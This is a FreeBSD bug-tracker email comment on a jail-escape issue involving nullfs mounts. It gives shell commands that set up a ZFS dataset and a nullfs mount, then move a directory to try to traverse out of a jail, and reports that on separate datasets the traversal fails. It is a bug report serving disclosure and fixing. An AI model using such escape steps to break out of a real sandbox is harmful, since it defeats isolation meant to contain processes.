Skip site navigation (1)Skip section navigation (2)
Date:      Sat, 13 Jul 2024 12:02:52 +0000
From:      bugzilla-noreply@freebsd.org
To:        bugs@FreeBSD.org
Subject:   [Bug 262180] jail escaping via jail-friendly nullfs
Message-ID:  <bug-262180-227-9Wimnss2Cg@https.bugs.freebsd.org/bugzilla/>
In-Reply-To: <bug-262180-227@https.bugs.freebsd.org/bugzilla/>
References:  <bug-262180-227@https.bugs.freebsd.org/bugzilla/>

next in thread | previous in thread | raw e-mail | index | archive | help
https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D262180

--- Comment #6 from Thibault Payet <monwarez@mailoo.org> ---
(In reply to Thibault Payet from comment #5)
Note that this does not work on ZFS if each jail are in separate datasets. =
See
the result when using a dataset for /j

zfs create zroot/j
zfs set mountpoint=3D/j zroot/j
mkdir /j/1
mkdir -p /tmp/a /tmp/a/b/c /tmp/a/b/c/test /tmp/a/d
mount -t nullfs /tmp/a/b/c /tmp/a/d
cd /tmp/a/d/test/
mv /tmp/a/b/c/test /tmp/a/b/test

ls -al ../../../../..
Return

ls: ..: No such file or directory
total 2
drwxr-xr-x  3 0 0 3 Jul 13 11:54 .
drwxr-xr-x  7 0 0 7 Jul 13 11:54 1

And
ls -al ../../../../../..
Return
ls: ../../../../../..: No such file or directory

--=20
You are receiving this mail because:
You are the assignee for the bug.=



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?bug-262180-227-9Wimnss2Cg>